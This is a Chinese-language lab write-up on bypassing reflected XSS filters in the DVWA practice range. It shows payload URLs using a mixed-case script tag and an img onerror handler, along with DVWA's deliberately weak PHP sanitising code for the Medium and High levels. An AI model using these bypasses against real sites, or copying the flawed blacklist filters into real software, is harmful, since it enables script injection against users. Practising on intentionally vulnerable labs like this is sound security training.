XSS的绕过姿势(二)

本章提及的几种姿势将在dvwa靶场进行演示

文本框反射型XSS的绕过姿势

安全的等级:Medium

image-20230415232835425

URL:

1
http://localhost:8081/dvwa/vulnerabilities/xss_r/?name=XXX#

猜测与尝试

肯定有过滤,但不知道过滤了什么

先简单试试

1
http://localhost:8081/dvwa/vulnerabilities/xss_r/?name=<script>alert(1)</script>#

image-20230415233315874

回显的script标签消失了,可能是被过滤掉了。

猜测是黑名单过滤,先试试大小写绕过:

1
http://localhost:8081/dvwa/vulnerabilities/xss_r/?name=<sCript>alert(1)</script>#

image-20230415233611533

成功 推测是简单过滤掉了script标签。

php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello {$name}</pre>";
}

?>

果然

安全等级high

猜测与尝试

故技重施

1
http://localhost:8081/dvwa/vulnerabilities/xss_r/?name=<sCript>alert(1)</script>#

image-20230416000229385

果然失败

注意到还留下了个右尖括号

换img标签

1
http://localhost:8081/dvwa/vulnerabilities/xss_r/?name=<img src=1 onerror="alert(1)">#

image-20230416000456771

成功了! 这是我没想到的,这么low……

看来还是对黑名单过滤script标签。。

看下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello {$name}</pre>";
}

?>

原来是直接把符合这条正则的串给替换掉

那绕过方法可多了去了。。

例如各种js事件 onclick onerror之类的

总结

dvwa的反射型有点水……emmm